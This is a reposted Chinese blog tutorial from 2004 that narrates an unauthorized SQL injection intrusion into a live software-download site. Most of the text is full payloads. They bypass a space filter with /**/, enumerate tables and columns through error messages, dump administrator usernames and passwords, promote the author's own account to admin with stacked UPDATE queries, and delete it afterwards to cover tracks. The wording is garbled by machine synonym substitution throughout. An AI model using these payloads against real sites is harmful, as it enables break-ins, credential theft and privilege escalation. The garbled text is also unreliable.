加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 编程 > 正文

渗入某下载体系全进程

发布时间:2020-12-28 21:12:11 所属栏目:编程 来源:网络整理
导读:时刻:2004-5-5 BY:CRAZYSOUL FROM:http://www.80age.net/bbs 接待转载,但请保存版权和出处 正在无聊时,一位网友发给我一条地点,说是被过滤了空格和一些非凡标记,看看能不能用SQL注入. http://soft.xxxx.net/SoftView.Asp?SoftID=850 (地点已经打了格子) 一看

时刻:2004-5-5


BY:CRAZYSOUL
FROM:http://www.80age.net/bbs
接待转载,但请保存版权和出处

正在无聊时,一位网友发给我一条地点,说是被过滤了空格和一些非凡标记,看看能不能用SQL注入.

http://soft.xxxx.net/SoftView.Asp?SoftID=850
(地点已经打了格子)


一看就知道是典范的数字型,
先用'加在最后测试一下,
返回堕落信息:
Microsoft?OLE?DB?Provider?for?SQL?Server?错误

可以看出是SQL处事器,再用最通用的语句来检测可否注入,即在后头加上:
and?1=1
(留意前面是有空格的)

没有正常返回,提醒堕落.

醒起网友说被过滤了空格,没题目,换成这样:

/**/and/**/1=1

(把用/**/替代了空格)
乐成通过,页面跟没加这一句的结果一样.由于当这句通过softid这个参数转达后,在SQL语句中就酿成或许这样:

"select?xxx?from?xxx?where?softid=850?and?1=1"

后头的就是我加的,对原本的前提没有丝毫影响,以是页面会照常表现.

这句顺遂通过,声名能注入的机遇很大(但并不是百分百,我碰着限定长度的,制造假象,让你白忙半天,这将在下一篇说).

看看有没有简朴的表名:

and?(select?count(*)?from?[admin])>0

转换空格为

/**/and/**/(select/**/count(*)/**/from/**/[admin])>0

(下面没有声名的都是颠末替代空格的,为了看着惬意,就保存了空格)

乐成,证明有表admin

继承看看尚有没其他简朴的表名:
and?(select?count(*)?from?[down])>0

没通过,没有..

转头看看适才的admin表,看名字是应该记录打点员数据的,虽然不能等闲放过

看看有几多笔记录:
/**/and/**/(select/**/count(*)/**/from/**/admin)>1
????????????????????????????????????????????????>2
.......

最后
/**/and/**/(select/**/count(*)/**/from/**/admin)=8

晕,竟然有8个打点员

看看有没有简朴字段:
and?(select?count(username)?from?admin)>0

返回堕落信息:

----------------------
Microsoft?OLE?DB?Provider?for?SQL?Server?错误?'80040e14'?

聚合不该呈此刻?WHERE?子句中,除非该聚合位于?HAVING?子句或选择列表所包括的子查询中,而且要对其举办聚合的列是外部引用。?

/SoftView.Asp,行?14
------------------------?

证明有username字段

看看第一个打点员的名字有多长:
and?(select?top?1?len(username)?from?admin)=11

11....算了,懒得再猜了,把全部表都暴出来吧.

 

先测试一下这句

and?(select?top?1?len(name)?from?sysobjects?where?xtype='u'?and?status>0)>1

变身,呵呵

/**/and/**/(select/**/top/**/1/**/len(name)/**/from/**/sysobjects/**/where/**/xtype=%27u%27/**/and/**/status>0)>1

(留意,这里不单替代掉了空格,尚有'也要替代成%27,前面说了,这个站过滤了一些非凡标记,不替代语句会堕落的.)

顺遂执行,适才这句只不外是摸索能不能顺遂执行的.

下面的才是正戏:

经典的一句:
and?1=(select?top?1?name?from?sysobjects?where?xtype=%27u%27?and?status>0)

这句获得等候的堕落信息:

--------------------------
Microsoft?OLE?DB?Provider?for?SQL?Server?错误?'80040e07'?

将?nvarchar?值?'a_cat'?转换为数据范例为?int?的列时产生语法错误。?

/SoftView.Asp,行?14?
-------------------
 

看,获得表名?a_cat

测试下是否有ID这个字段:
and?1<(select?id?from?sysobjects?where?xtype=%27u%27?and?name=%27a_cat%27)

一样平常城市有的,看来过分通用也许偶然也是种错,呵呵.

出色的来了

最强的一句:
and?1=(select?top?1?name?from?sysobjects?where?xtype=%27u%27?and?id>(select?id?from?sysobjects?where?xtype=%27u%27?and?
name=%27a_cat%27))

这是获得下一个表名,以此类推,每个表名都能找到它的下一个表名.

云云轮回,获得全部表名如下:
a_cat
art
allcount
vcount
online
votetopic
voteitem
soft
reply
news
gb
friendlink
flcat
diary
d_remark
d_class
d_cat
cscat
coolsites
admin
SoftDown_online
SoftDown_DayUpdate
SoftDown_Cate
SoftDown_SoftEssay
SoftDown_SoftLink
SoftDown_SubCate
Admin_UserInfo
SoftDown_SoftInfo
dtproperties

统计下共有几个表,猜上瘾了,汗~~:
and?(select?count(*)?from?sysobjects?where?xtype=%27u%27?and?status>0)>1
??????????????????????????????????????????????????????????????????????>2
??????????????????????????????????????????????????????????????????????...
??????????????????????????????????????????????????????????????????????=28
MD,竟然有28个.

表都出来了,暴字段吧,活活


先暴admin的

and?1=(select?top?1?col_name(object_id(%27admin%27),1)?from?admin)
获得下面的

-----------------------------
Microsoft?OLE?DB?Provider?for?SQL?Server?错误?'80040e07'?

将?nvarchar?值?'admin_id'?转换为数据范例为?int?的列时产生语法错误。?

/SoftView.Asp,行?14?
-----------
 

获得字段名:admin_id

同样
and?1=(select?top?1?col_name(object_id(%27admin%27),2)?from?admin)
.
.
.
获得全部的:

admin_id
admin_name
admin_password
issuper

直觉汇报还要再看看Admin_UserInfo的(着实俺的直觉还挺好的,呵呵)

and?1=(select?top?1?col_name(object_id(%27Admin_UserInfo%27),1)?from?Admin_UserInfo)

UserID
UserName
PassWord
Email
RegDate
isActive
isAdmin
CatePub
CateAdm
CategoryName

 

先从ADMIN表选一个号试试:

and?1=(select?top?1?admin_name?from?admin)

获得:admin


and?1=(select?top?1?username?from?admin)

用户名:freedom1980


and?1=(select?top?1?admin_password?from?admin)

暗码:bishop62404

不能登岸,选其它一个表.(过后觉察该站也许是把两个站的数据表放到统一个数据库里了,以是才有两个打点员的数据表)

看看Admin_UserInfo
 

and?1=(select?top?1?username?from?Admin_UserInfo)
名字:bisheng

and?1=(select?top?1?PassWord?from?Admin_UserInfo)
暗码:196a4758191e42f7

MD,也许加了密了

灵机一动,
搜查isAdmin是什么值
and?1=(select?top?1?isAdmin?from?Admin_UserInfo)

isAdmin=1

本身注册个新的用户先,俺习习用"crazy".
猜他的用户登岸页面的地点:
admin_index.asp(通用性太强了...)

注册了,不能登岸,说是被锁定了之类.

搜查本身的isActive是什么值:
and?1=(select?isActive?from?Admin_UserInfo?where?UserName=%27crazy%27)

isActive=0

也搜查isAdmin是什么值:
and?1=(select?isAdmin?from?Admin_UserInfo?where?UserName=%27crazy%27)

isAdmin=0

趁便看一下本身的暗码:
and?1=(select?PassWord?from?Admin_UserInfo?where?UserName=%27crazy%27)
49ba59abbe56e057=123456

公然是加了密.

还等什么晋升本身的权利吧
%3Bupdate?Admin_UserInfo?set?isActive=1?where?UserName=%27crazy%27%3B--

%3Bupdate?Admin_UserInfo?set?isAdmin=1?where?UserName=%27crazy%27%3B--

(注:%3B?是用来替代;号的,?"--"这个是为了把后头的语句注释掉,MS?SQL就是爽!)

 

OK,进靠山看看

打点员同道仿佛是:
magicring

替代他的暗码,嘻嘻,我才没那么缺德呢.

查查察是什么下载体系:

搜查是
ActiveDown?System?XP?Advanced?Edition?Ver1.3
动感下载体系XP高级版?Ver1.3
体系特征:批量天生静态页面,成果强盛,用户会见速率十分优化,减轻处事器承担。(真的假的?)
 

搞掂,整理陈迹:
%3Bdelete?from?Admin_UserInfo?where?UserName=%27crazy%27%3B--

这次纯粹技能性渗入,没有粉碎任何数据.

下次再说说奈何注入一个收费影戏站.

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    热点阅读